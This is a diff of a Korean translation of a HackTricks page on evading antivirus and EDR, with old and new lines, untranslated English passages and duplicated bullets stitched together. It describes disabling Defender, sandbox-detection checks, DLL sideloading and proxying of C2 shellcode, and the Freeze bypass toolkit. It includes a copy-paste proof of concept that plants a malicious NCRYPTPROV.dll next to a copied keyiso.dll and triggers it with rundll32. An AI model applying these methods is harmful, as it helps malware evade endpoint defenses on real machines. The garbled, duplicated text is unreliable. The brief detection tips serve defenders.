- **IRP** (**I/O Request Packets**)는 한 구성 요소에서 다른 구성 요소로 데이터를 전송합니다. 커널의 거의 모든 것이 IRP를 사용하며, 각 장치 객체는 후킹할 수 있는 자체 함수 테이블을 가지고 있습니다: DKOM (Direct Kernel Object Manipulation)
|
||||
- **IAT** (**Import Address Table**)는 종속성을 해결하는 데 유용합니다. 이 테이블을 후킹하여 호출될 코드를 가로챌 수 있습니다.
|
||||
- **EAT** (**Export Address Table**) 후킹. 이 후킹은 **userland**에서 수행될 수 있습니다. 목표는 DLL에 의해 내보내진 함수를 후킹하는 것입니다.
|
||||
- **Inline Hooks**: 이 유형은 달성하기 어렵습니다. 이는 함수 자체의 코드를 수정하는 것을 포함합니다. 아마도 이의 시작 부분에 점프를 넣는 방식으로.
|
||||
|
||||
- The **SSDT** (**System Service Descriptor Table**)는 커널 함수(ntoskrnl.exe) 또는 GUI 드라이버(win32k.sys)를 가리켜 사용자 프로세스가 해당 함수를 호출할 수 있게 합니다.
|
||||
- A rootkit은 이러한 포인터를 공격자가 제어하는 주소로 수정할 수 있습니다.
|
||||
- The **IRP** (**I/O Request Packets**)는 한 구성요소에서 다른 구성요소로 데이터를 전달합니다. 커널의 거의 모든 것은 IRP를 사용하며 각 디바이스 오브젝트는 훅될 수 있는 자체 함수 테이블을 가집니다: DKOM (Direct Kernel Object Manipulation)
|
||||
- The **IAT** (**Import Address Table**)는 종속성을 해결하는 데 유용합니다. 이 테이블을 훅하여 호출될 코드를 가로챌 수 있습니다.
|
||||
- **EAT** (**Export Address Table**) Hooks. 이러한 훅은 **userland**에서 수행할 수 있습니다. 목표는 DLL이 내보내는 함수를 훅하는 것입니다.
|
||||
- **Inline Hooks**: 이 유형은 달성하기 어렵습니다. 함수 코드 자체를 수정하는 것을 포함합니다. 예를 들어 함수 시작 부분에 점프를 삽입하는 방식이 있을 수 있습니다.
|
||||
|
||||
## References
|
||||
|
||||
- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
|
||||
- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,109 +1,123 @@
|
||||
# Antivirus (AV) Bypass
|
||||
# Antivirus (AV) 우회
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
**This page was written by** [**@m2rc_p**](https://twitter.com/m2rc_p)**!**
|
||||
**이 페이지는** [**@m2rc_p**](https://twitter.com/m2rc_p)**님이 작성했습니다!**
|
||||
|
||||
## Stop Defender
|
||||
## Defender 중지
|
||||
|
||||
- [defendnot](https://github.com/es3n1n/defendnot): Windows Defender가 작동하지 않게 만드는 도구입니다.
|
||||
- [no-defender](https://github.com/es3n1n/no-defender): 다른 AV를 가장하여 Windows Defender가 작동하지 않게 만드는 도구입니다.
|
||||
- [defendnot](https://github.com/es3n1n/defendnot): Windows Defender가 작동하지 않도록 하는 도구.
|
||||
- [no-defender](https://github.com/es3n1n/no-defender): 다른 AV를 가장하여 Windows Defender가 작동하지 않도록 하는 도구.
|
||||
- [Disable Defender if you are admin](basic-powershell-for-pentesters/README.md)
|
||||
|
||||
## **AV Evasion Methodology**
|
||||
|
||||
현재 AV는 파일이 악성인지 여부를 확인하기 위해 정적 탐지, 동적 분석, 그리고 더 고급 EDR의 경우 행동 분석 등 다양한 방법을 사용합니다.
|
||||
현재 AV는 파일이 악성인지 여부를 확인하기 위해 정적 탐지, 동적 분석, 그리고 더 발전된 EDR의 경우 행위 분석을 사용합니다.
|
||||
|
||||
### **Static detection**
|
||||
|
||||
정적 탐지는 바이너리나 스크립트 내의 알려진 악성 문자열이나 바이트 배열을 표시하거나 파일 자체에서 정보를 추출하는 방식(e.g. file description, company name, digital signatures, icon, checksum 등)으로 이루어집니다. 이는 공개된 도구를 사용하면 더 쉽게 탐지될 수 있다는 의미입니다. 이미 분석되어 악성으로 표시되었을 가능성이 높기 때문입니다. 이러한 탐지를 피할 수 있는 몇 가지 방법이 있습니다:
|
||||
정적 탐지는 바이너리나 스크립트 내의 알려진 악성 문자열이나 바이트 배열을 플래그하거나 파일 자체에서 정보를 추출하는 방식(e.g. file description, company name, digital signatures, icon, checksum 등)으로 이루어집니다. 즉, 공개적으로 알려진 도구를 사용하면 더 쉽게 감지될 수 있는데, 이미 분석되어 악성으로 표시되었을 가능성이 높기 때문입니다. 이러한 탐지를 회피하는 방법은 몇 가지가 있습니다:
|
||||
|
||||
- **Encryption**
|
||||
|
||||
바이너리를 암호화하면 AV가 프로그램을 탐지할 방법이 없어집니다. 다만 메모리에서 복호화하고 실행하기 위한 로더가 필요합니다.
|
||||
바이너리를 암호화하면 AV가 프로그램을 감지할 방법이 없지만, 메모리에서 복호화하고 실행할 수 있는 로더가 필요합니다.
|
||||
|
||||
- **Obfuscation**
|
||||
|
||||
때로는 바이너리나 스크립트의 몇몇 문자열만 변경해도 AV를 통과할 수 있습니다. 다만 obfuscate하려는 대상에 따라 시간 소모가 클 수 있습니다.
|
||||
때로는 바이너리나 스크립트의 일부 문자열만 변경해도 AV를 통과할 수 있지만, 무엇을 난독화하느냐에 따라 시간이 많이 들 수 있습니다.
|
||||
|
||||
- **Custom tooling**
|
||||
|
||||
자체 도구를 개발하면 알려진 악성 서명이 없기 때문에 탐지를 피하기 쉽습니다. 그러나 많은 시간과 노력이 필요합니다.
|
||||
자체 도구를 개발하면 알려진 악성 시그니처가 없겠지만, 많은 시간과 노력이 필요합니다.
|
||||
|
||||
> [!TIP]
|
||||
> Windows Defender의 정적 탐지를 확인하는 좋은 방법은 [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)입니다. 이 도구는 파일을 여러 세그먼트로 분할한 다음 Defender에게 각 세그먼트를 개별적으로 스캔하도록 요청합니다. 이렇게 하면 바이너리에서 어떤 문자열이나 바이트가 플래그되는지 정확히 알 수 있습니다.
|
||||
> Windows Defender의 정적 탐지에 대해 확인하는 좋은 방법은 [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)입니다. 이 도구는 파일을 여러 세그먼트로 나누고 각 세그먼트를 개별적으로 Defender에 스캔하도록 요청하여, 바이너리에서 정확히 어떤 문자열이나 바이트가 플래그되는지 알려줍니다.
|
||||
|
||||
실용적인 AV Evasion에 관한 이 [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf)를 강력히 추천합니다.
|
||||
실무적인 AV Evasion에 관한 이 [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf)를 꼭 확인해 보시길 권합니다.
|
||||
|
||||
### **Dynamic analysis**
|
||||
|
||||
동적 분석은 AV가 바이너리를 샌드박스에서 실행하고 악성 활동(예: 브라우저 비밀번호를 복호화하여 읽으려 시도, LSASS에 대해 minidump 수행 등)을 감시하는 것을 말합니다. 이 부분은 다루기 더 까다로울 수 있지만, 샌드박스를 회피하기 위해 할 수 있는 몇 가지 방법은 다음과 같습니다.
|
||||
동적 분석은 AV가 샌드박스에서 바이너리를 실행하고 악의적 활동(e.g. 브라우저 비밀번호를 복호화해 읽으려 하거나 LSASS의 minidump 수행 등)을 관찰하는 경우입니다. 이 부분은 다루기 까다로울 수 있지만, 샌드박스를 회피하기 위해 사용할 수 있는 몇 가지 방법은 다음과 같습니다.
|
||||
|
||||
- **Sleep before execution** 구현 방식에 따라 AV의 동적 분석을 우회하는 좋은 방법이 될 수 있습니다. AV는 사용자의 작업 흐름을 방해하지 않기 위해 파일을 스캔하는 시간이 매우 짧으므로, 긴 sleep을 사용하면 바이너리 분석을 방해할 수 있습니다. 문제는 많은 AV의 샌드박스가 구현 방식에 따라 sleep을 건너뛸 수 있다는 점입니다.
|
||||
- **Checking machine's resources** 일반적으로 샌드박스는 사용할 리소스가 매우 적습니다(e.g. < 2GB RAM). 그렇지 않으면 사용자 기기를 느리게 할 수 있습니다. 여기서는 매우 창의적으로 접근할 수 있습니다. 예를 들어 CPU 온도나 팬 속도를 확인하는 등, 샌드박스에 모든 것이 구현되어 있지는 않습니다.
|
||||
- **Machine-specific checks** 예를 들어 대상 사용자의 워크스테이션이 "contoso.local" 도메인에 조인되어 있다면, 컴퓨터의 도메인을 확인하여 지정한 도메인과 일치하지 않으면 프로그램을 종료하게 할 수 있습니다.
|
||||
- **Sleep before execution** 구현 방식에 따라 AV의 동적 분석을 우회하는 훌륭한 방법이 될 수 있습니다. AV는 사용자의 작업 흐름을 방해하지 않기 위해 파일을 검사할 때 매우 짧은 시간이 주어지므로, 긴 sleep을 사용하면 바이너리 분석을 방해할 수 있습니다. 문제는 많은 AV의 샌드박스가 구현 방식에 따라 sleep을 건너뛸 수 있다는 점입니다.
|
||||
- **Checking machine's resources** 보통 샌드박스는 사용 가능한 리소스가 매우 적습니다(e.g. < 2GB RAM). 그렇지 않으면 사용자의 머신을 느려지게 할 수 있기 때문입니다. 여기서 창의적으로 접근할 수 있습니다 — 예를 들어 CPU 온도나 팬 속도 등을 확인하면 샌드박스에서 구현되지 않은 항목을 확인할 수 있습니다.
|
||||
- **Machine-specific checks** 대상 사용자가 "contoso.local" 도메인에 가입된 워크스테이션이라면, 컴퓨터의 도메인을 검사하여 지정한 도메인과 일치하지 않으면 프로그램을 종료하도록 할 수 있습니다.
|
||||
|
||||
알고 보니 Microsoft Defender의 Sandbox computername은 HAL9TH입니다. 따라서 악성코드가 폭발하기 전에 컴퓨터 이름을 확인하여 HAL9TH와 일치하면 Defender의 샌드박스 내부에 있다는 뜻이므로 프로그램을 종료하게 할 수 있습니다.
|
||||
Microsoft Defender의 Sandbox 컴퓨터 이름이 HAL9TH인 것으로 알려져 있으므로, 악성코드 실행 전에 컴퓨터 이름을 확인하여 HAL9TH이면 Defender의 샌드박스 내부에 있다는 뜻이므로 프로그램을 종료하도록 할 수 있습니다.
|
||||
|
||||
<figure><img src="../images/image (209).png" alt=""><figcaption><p>source: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
<figure><img src="../images/image (209).png" alt=""><figcaption><p>출처: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
|
||||
샌드박스에 대응하기 위한 [@mgeeky](https://twitter.com/mariuszbit)의 다른 유용한 팁들
|
||||
샌드박스를 상대로 한 몇 가지 훌륭한 팁은 [@mgeeky](https://twitter.com/mariuszbit)로부터 확인해 보세요.
|
||||
|
||||
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
|
||||
|
||||
앞서 말했듯이, **public tools**는 결국 **탐지됩니다**, 그래서 스스로에게 물어보아야 합니다:
|
||||
앞서 말했듯이, **public tools**은 결국 **감지될** 가능성이 높습니다. 스스로에게 물어보세요:
|
||||
|
||||
예를 들어 LSASS를 덤프하려면, **정말로 mimikatz를 사용해야 하나요**? 아니면 LSASS를 덤프하는 덜 알려진 다른 프로젝트를 사용할 수 있을까요?
|
||||
예를 들어, LSASS를 덤프하려고 한다면, **정말로 mimikatz를 사용해야 하나요**? 아니면 덜 알려진 다른 프로젝트를 사용하여 LSASS를 덤프할 수 있지 않을까요.
|
||||
|
||||
정답은 아마 후자일 것입니다. mimikatz를 예로 들면, 이는 AV와 EDR에 의해 가장 많이 플래그되는 도구 중 하나일 가능성이 높습니다. 프로젝트 자체는 정말 훌륭하지만 AV를 우회하는 측면에서는 다루기 골치 아픈 경우가 많으므로, 달성하려는 목적에 대한 대안을 찾아보세요.
|
||||
정답은 후자일 가능성이 큽니다. 예를 들어 mimikatz는 아마도 AV 및 EDR에 의해 가장 많이 플래그되는 도구 중 하나일 것입니다. 프로젝트 자체는 훌륭하지만, AV를 우회하기 위해 다루기에는 악몽에 가깝습니다. 따라서 달성하려는 목표에 맞는 대체 도구를 찾아보세요.
|
||||
|
||||
> [!TIP]
|
||||
> 페이로드를 회피 목적으로 수정할 때는 Defender에서 **automatic sample submission**을 끄는 것을 잊지 마세요. 그리고 제발, 장기적인 회피를 목표로 한다면 **DO NOT UPLOAD TO VIRUSTOTAL**을 진지하게 지키세요. 특정 AV에서 페이로드가 탐지되는지 확인하려면 VM에 설치하고 automatic sample submission을 끈 뒤, 결과에 만족할 때까지 거기서 테스트하세요.
|
||||
> 회피를 위해 페이로드를 수정할 때는 Defender의 자동 샘플 제출(automatic sample submission)을 끄고, 장기적인 회피가 목표라면 **제발, 진심으로, DO NOT UPLOAD TO VIRUSTOTAL** 하세요. 특정 AV에서 페이로드가 감지되는지 확인하려면 VM에 해당 AV를 설치하고 자동 샘플 제출을 끈 뒤 그 환경에서 테스트해 만족할 때까지 조정하세요.
|
||||
|
||||
## EXEs vs DLLs
|
||||
|
||||
가능하다면 항상 **evade를 위해 DLLs 사용을 우선시**하세요. 제 경험상 DLL 파일은 보통 **탐지율이 훨씬 낮고** 분석 대상이 되는 경우가 적습니다. 따라서 페이로드가 DLL로 실행될 수 있는 방법이 있다면 일부 경우에 탐지를 피하는 간단한 트릭이 됩니다.
|
||||
가능하면 항상 **evade 목적으로 DLL 사용을 우선**하세요. 제 경험상 DLL 파일은 보통 **감지율이 훨씬 낮고** 분석도 덜 되는 경향이 있어(물론 페이로드가 DLL로 실행될 방법이 있어야 합니다) 일부 경우 감지를 피하는 간단한 트릭이 됩니다.
|
||||
|
||||
이 이미지에서 볼 수 있듯이, Havoc의 DLL Payload는 antiscan.me에서 4/26의 탐지율을 보인 반면, EXE 페이로드는 7/26의 탐지율을 보였습니다.
|
||||
다음 이미지에서 볼 수 있듯이, Havoc의 DLL 페이로드는 antiscan.me에서 4/26의 감지율을 보인 반면 EXE 페이로드는 7/26의 감지율을 보였습니다.
|
||||
|
||||
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me comparison of a normal Havoc EXE payload vs a normal Havoc DLL</p></figcaption></figure>
|
||||
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me에서 일반 Havoc EXE 페이로드와 일반 Havoc DLL 비교</p></figcaption></figure>
|
||||
|
||||
이제 DLL 파일을 사용해 훨씬 더 은밀해질 수 있는 몇 가지 트릭을 보여드리겠습니다.
|
||||
이제 DLL 파일을 사용해 훨씬 더 은밀하게 만들기 위해 사용할 수 있는 몇 가지 트릭을 보여드리겠습니다.
|
||||
|
||||
## DLL Sideloading & Proxying
|
||||
|
||||
**DLL Sideloading**은 로더가 사용하는 DLL 검색 순서를 악용하여, 피해자 애플리케이션과 악성 페이로드를 서로 나란히 배치하는 기법입니다.
|
||||
**DLL Sideloading**은 victim application과 악성 payload를 서로 나란히 위치시키는 방식으로 loader가 사용하는 DLL 검색 순서를 악용합니다.
|
||||
|
||||
[Siofra](https://github.com/Cybereason/siofra)와 다음 powershell 스크립트를 사용하면 DLL Sideloading에 취약한 프로그램을 확인할 수 있습니다:
|
||||
취약한 프로그램을 찾으려면 [Siofra](https://github.com/Cybereason/siofra)와 다음 powershell script를 사용해 확인할 수 있습니다:
|
||||
```bash
|
||||
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
|
||||
$binarytoCheck = "C:\Program Files\" + $_
|
||||
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
|
||||
}
|
||||
```
|
||||
이 명령은 "C:\Program Files\\" 내부에서 DLL hijacking에 취약한 프로그램 목록과 해당 프로그램들이 로드하려고 하는 DLL files를 출력합니다.
|
||||
This command will output the list of programs susceptible to DLL hijacking inside "C:\Program Files\\" and the DLL files they try to load.
|
||||
|
||||
저는 **DLL Hijackable/Sideloadable programs를 직접 탐색해 보시길 강력히 권합니다**, 이 기법은 제대로 수행하면 상당히 은밀하지만, 공개적으로 알려진 DLL Sideloadable programs를 사용하면 쉽게 발각될 수 있습니다.
|
||||
이 명령은 "C:\Program Files\\" 내부에서 DLL hijacking에 취약한 프로그램 목록과 이들이 로드하려는 DLL 파일들을 출력합니다.
|
||||
|
||||
단순히 프로그램이 로드할 것으로 기대하는 이름의 악성 DLL을 배치한다고 해서 페이로드가 실행되는 것은 아닙니다. 프로그램은 그 DLL 내부에 특정 함수들을 기대하기 때문입니다. 이 문제를 해결하기 위해 **DLL Proxying/Forwarding**이라는 다른 기법을 사용할 것입니다.
|
||||
I highly recommend you **explore DLL Hijackable/Sideloadable programs yourself**, this technique is pretty stealthy done properly, but if you use publicly known DLL Sideloadable programs, you may get caught easily.
|
||||
|
||||
**DLL Proxying**은 프록시(및 악성) DLL에서 원래 DLL로 프로그램이 하는 호출을 전달하여 프로그램의 기능을 유지하면서 페이로드 실행을 처리할 수 있게 합니다.
|
||||
이 기술은 제대로 수행하면 상당히 은밀하지만, 공개적으로 알려진 DLL Sideloadable 프로그램을 사용할 경우 쉽게 발각될 수 있으므로, **DLL Hijackable/Sideloadable 프로그램을 직접 탐색해 보시길** 강력히 권합니다.
|
||||
|
||||
Just by placing a malicious DLL with the name a program expects to load, won't load your payload, as the program expects some specific functions inside that DLL, to fix this issue, we'll use another technique called **DLL Proxying/Forwarding**.
|
||||
|
||||
프로그램이 로드할 것으로 예상하는 이름의 malicious DLL을 단순히 배치하는 것만으로는 payload가 실행되지 않습니다. 프로그램이 해당 DLL 안에 특정 함수들을 기대하기 때문입니다. 이 문제를 해결하기 위해 **DLL Proxying/Forwarding**이라는 다른 기법을 사용하겠습니다.
|
||||
|
||||
**DLL Proxying** forwards the calls a program makes from the proxy (and malicious) DLL to the original DLL, thus preserving the program's functionality and being able to handle the execution of your payload.
|
||||
|
||||
**DLL Proxying**은 프로그램이 proxy (and malicious) DLL에 대해 하는 호출을 원래 DLL로 전달하여 프로그램의 기능을 유지하면서 payload 실행을 처리할 수 있게 합니다.
|
||||
|
||||
I will be using the [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) project from [@flangvik](https://twitter.com/Flangvik/)
|
||||
|
||||
저는 [@flangvik](https://twitter.com/Flangvik/)의 [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) 프로젝트를 사용할 것입니다.
|
||||
|
||||
These are the steps I followed:
|
||||
|
||||
제가 수행한 단계는 다음과 같습니다:
|
||||
```
|
||||
1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
|
||||
2. Generate some shellcode (I used Havoc C2)
|
||||
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
|
||||
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
|
||||
```
|
||||
마지막 명령은 우리에게 2개의 파일을 제공합니다: DLL 소스 코드 템플릿과 원래 이름이 변경된 DLL.
|
||||
마지막 명령은 우리에게 2개의 파일을 생성합니다: DLL 소스 코드 템플릿과 원본 이름이 변경된 DLL.
|
||||
|
||||
<figure><img src="../images/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
|
||||
```
|
||||
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
|
||||
```
|
||||
These are the results:
|
||||
|
||||
<figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Both our shellcode (encoded with [SGN](https://github.com/EgeBalci/sgn)) and the proxy DLL have a 0/26 Detection rate in [antiscan.me](https://antiscan.me)! I would call that a success.
|
||||
@ -111,33 +125,33 @@ Both our shellcode (encoded with [SGN](https://github.com/EgeBalci/sgn)) and the
|
||||
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> 저는 DLL Sideloading에 관한 [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543)와 또한 [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE)를 시청할 것을 강력히 권합니다. 이 영상들은 우리가 더 깊이 다룬 내용을 더 잘 이해하는 데 도움이 됩니다.
|
||||
> I **강력히 권합니다** you watch [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) about DLL Sideloading and also [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) to learn more about what we've discussed more in-depth.
|
||||
|
||||
### Abusing Forwarded Exports (ForwardSideLoading)
|
||||
### Forwarded Exports 악용 (ForwardSideLoading)
|
||||
|
||||
Windows PE 모듈은 실제로 "forwarders"인 함수를 export할 수 있습니다: 코드 대신 export 엔트리는 `TargetDll.TargetFunc` 형식의 ASCII 문자열을 포함합니다. 호출자가 export를 해석할 때 Windows loader는:
|
||||
Windows PE modules can export functions that are actually "forwarders": instead of pointing to code, the export entry contains an ASCII string of the form `TargetDll.TargetFunc`. When a caller resolves the export, the Windows loader will:
|
||||
|
||||
- `TargetDll`이 아직 로드되어 있지 않다면 로드합니다
|
||||
- 거기서 `TargetFunc`를 해석합니다
|
||||
- `TargetDll`이 아직 로드되지 않았으면 로드한다
|
||||
- 그 안에서 `TargetFunc`를 해결한다
|
||||
|
||||
이해해야 할 주요 동작:
|
||||
- `TargetDll`이 KnownDLL인 경우, 보호된 KnownDLLs 네임스페이스에서 제공됩니다(예: ntdll, kernelbase, ole32).
|
||||
- `TargetDll`이 KnownDLL이 아닌 경우, 일반적인 DLL 검색 순서가 사용되며 이는 forward 해석을 수행하는 모듈의 디렉터리를 포함합니다.
|
||||
- If `TargetDll` is a KnownDLL, it is supplied from the protected KnownDLLs namespace (e.g., ntdll, kernelbase, ole32).
|
||||
- If `TargetDll` is not a KnownDLL, the normal DLL search order is used, which includes the directory of the module that is doing the forward resolution.
|
||||
|
||||
이는 간접적인 sideloading primitive를 가능하게 합니다: non-KnownDLL 모듈 이름으로 forward된 함수를 export하는 signed DLL을 찾은 다음, 그 signed DLL과 동일한 디렉터리에 forward된 대상 모듈 이름과 정확히 같은 이름의 attacker-controlled DLL을 함께 배치하십시오. forward된 export가 호출되면 loader가 forward를 해석하여 같은 디렉터리에서 당신의 DLL을 로드하고 DllMain을 실행합니다.
|
||||
이를 통해 간접적인 sideloading primitive가 가능해집니다: 함수가 non-KnownDLL 모듈 이름으로 포워딩되는 signed DLL을 찾은 다음, 해당 signed DLL과 동일한 디렉터리에 포워딩 대상 모듈 이름과 정확히 일치하는 attacker-controlled DLL을 배치합니다. 포워딩된 export가 호출되면, 로더는 포워드를 해결하고 동일한 디렉터리에서 당신의 DLL을 로드하여 DllMain을 실행합니다.
|
||||
|
||||
Example observed on Windows 11:
|
||||
```
|
||||
keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface
|
||||
```
|
||||
`NCRYPTPROV.dll`은 KnownDLL이 아니므로 일반 검색 순서에 따라 해결됩니다.
|
||||
`NCRYPTPROV.dll`은 KnownDLL이 아니므로 일반 검색 순서로 해결됩니다.
|
||||
|
||||
PoC (복사-붙여넣기):
|
||||
1) 서명된 시스템 DLL을 쓰기 가능한 폴더로 복사합니다.
|
||||
PoC (copy-paste):
|
||||
1) 서명된 시스템 DLL을 쓰기 가능한 폴더로 복사
|
||||
```
|
||||
copy C:\Windows\System32\keyiso.dll C:\test\
|
||||
```
|
||||
2) 같은 폴더에 악성 `NCRYPTPROV.dll`을 배치하세요. 최소한의 DllMain만으로 코드 실행이 가능하며; DllMain을 트리거하기 위해 포워딩된 함수를 구현할 필요는 없습니다.
|
||||
2) 같은 폴더에 악성 `NCRYPTPROV.dll`을(를) 배치하세요. 최소한의 DllMain만으로 코드 실행이 가능하며; DllMain을 트리거하기 위해 forwarded function을 구현할 필요는 없습니다.
|
||||
```c
|
||||
// x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
|
||||
#include <windows.h>
|
||||
@ -154,30 +168,30 @@ return TRUE;
|
||||
rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface
|
||||
```
|
||||
Observed behavior:
|
||||
- rundll32 (서명됨) loads the side-by-side `keyiso.dll` (서명됨)
|
||||
- `KeyIsoSetAuditingInterface`를 해결하는 동안 로더는 포워드를 따라 `NCRYPTPROV.SetAuditingInterface`로 이동한다
|
||||
- 로더는 이어서 `C:\test`에서 `NCRYPTPROV.dll`을 로드하고 그 `DllMain`을 실행한다
|
||||
- `SetAuditingInterface`가 구현되어 있지 않으면, `DllMain`이 이미 실행된 후에만 "missing API" 오류가 발생한다
|
||||
- rundll32 (서명됨)이 side-by-side `keyiso.dll` (서명됨)을 로드합니다
|
||||
- `KeyIsoSetAuditingInterface`를 해석하는 동안, 로더는 forward를 따라 `NCRYPTPROV.SetAuditingInterface`로 이동합니다
|
||||
- 그 다음 로더는 `C:\test`에서 `NCRYPTPROV.dll`을 로드하고 그 `DllMain`을 실행합니다
|
||||
- 만약 `SetAuditingInterface`가 구현되어 있지 않다면, `DllMain`이 이미 실행된 이후에야 "missing API" 오류가 발생합니다
|
||||
|
||||
Hunting tips:
|
||||
- 대상 모듈이 KnownDLL이 아닌 forwarded exports에 집중하세요. KnownDLLs는 `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`에 나열되어 있습니다.
|
||||
- 대상 모듈이 KnownDLL이 아닌 forwarded exports에 집중하세요. KnownDLLs는 `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs` 아래에 나열됩니다.
|
||||
- 다음과 같은 도구로 forwarded exports를 열거할 수 있습니다:
|
||||
```
|
||||
dumpbin /exports C:\Windows\System32\keyiso.dll
|
||||
# forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface
|
||||
```
|
||||
- Windows 11 forwarder 목록에서 후보를 검색하세요: https://hexacorn.com/d/apis_fwd.txt
|
||||
- 후보를 찾기 위해 Windows 11 forwarder 인벤토리를 확인하세요: https://hexacorn.com/d/apis_fwd.txt
|
||||
|
||||
Detection/defense ideas:
|
||||
- Monitor LOLBins (e.g., rundll32.exe)가 비시스템 경로에서 서명된 DLL을 로드한 다음, 같은 기본 이름을 가진 non-KnownDLLs를 해당 디렉터리에서 로드하는 것을 모니터링하세요
|
||||
- 다음과 같은 프로세스/모듈 체인(사용자 쓰기 가능 경로에서)에 대해 경고를 생성하세요: `rundll32.exe` → non-system `keyiso.dll` → `NCRYPTPROV.dll`
|
||||
- 코드 무결성 정책(WDAC/AppLocker)을 시행하고 애플리케이션 디렉터리에서 write+execute를 차단하세요
|
||||
- Monitor LOLBins (e.g., rundll32.exe) loading signed DLLs from non-system paths, followed by loading non-KnownDLLs with the same base name from that directory
|
||||
- Alert on process/module chains like: `rundll32.exe` → non-system `keyiso.dll` → `NCRYPTPROV.dll` under user-writable paths
|
||||
- Enforce code integrity policies (WDAC/AppLocker) and deny write+execute in application directories
|
||||
|
||||
## [**Freeze**](https://github.com/optiv/Freeze)
|
||||
|
||||
`Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods`
|
||||
`Freeze는 suspended processes, direct syscalls, alternative execution methods을 사용해 EDRs를 우회하기 위한 payload toolkit입니다`
|
||||
|
||||
Freeze를 사용하여 shellcode를 은밀하게 로드하고 실행할 수 있습니다.
|
||||
Freeze를 사용해 shellcode를 은밀하게 로드하고 실행할 수 있습니다.
|
||||
```
|
||||
Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
|
||||
1. Generate some shellcode, in this case I used Havoc C2.
|
||||
@ -187,13 +201,13 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
||||
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> 회피는 단순한 쥐와 고양이의 게임입니다. 오늘 통하는 방법이 내일 탐지될 수 있으므로 절대 하나의 도구에만 의존하지 말고, 가능하면 여러 회피 기법을 연쇄적으로 사용하세요.
|
||||
> 우회는 단순한 쫓고 쫓기는 게임입니다. 오늘 통하는 방법이 내일에는 탐지될 수 있으므로 한 가지 도구에만 의존하지 말고, 가능하면 여러 우회 기법을 연쇄적으로 사용하세요.
|
||||
|
||||
## AMSI (Anti-Malware Scan Interface)
|
||||
|
||||
AMSI는 "fileless malware"(파일리스 멀웨어)를 방지하기 위해 만들어졌습니다. 초기에는 AV가 디스크상의 파일만 스캔할 수 있었기 때문에, 페이로드를 메모리에서 직접 실행할 수 있다면 AV는 충분한 가시성이 없어 이를 막을 수 없었습니다.
|
||||
AMSI는 "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)"를 방지하기 위해 만들어졌다. 초기에는 AV가 **디스크상의 파일**만 스캔할 수 있었기 때문에, 페이로드를 **메모리에서 직접** 실행할 수 있다면 AV는 이를 막을 수 없었다 — 충분한 가시성이 없었기 때문이다.
|
||||
|
||||
AMSI 기능은 Windows의 다음 구성요소에 통합되어 있습니다.
|
||||
AMSI 기능은 Windows의 다음 구성요소에 통합되어 있다.
|
||||
|
||||
- User Account Control, or UAC (EXE, COM, MSI 또는 ActiveX 설치의 권한 상승)
|
||||
- PowerShell (스크립트, 대화형 사용 및 동적 코드 평가)
|
||||
@ -201,39 +215,39 @@ AMSI 기능은 Windows의 다음 구성요소에 통합되어 있습니다.
|
||||
- JavaScript 및 VBScript
|
||||
- Office VBA 매크로
|
||||
|
||||
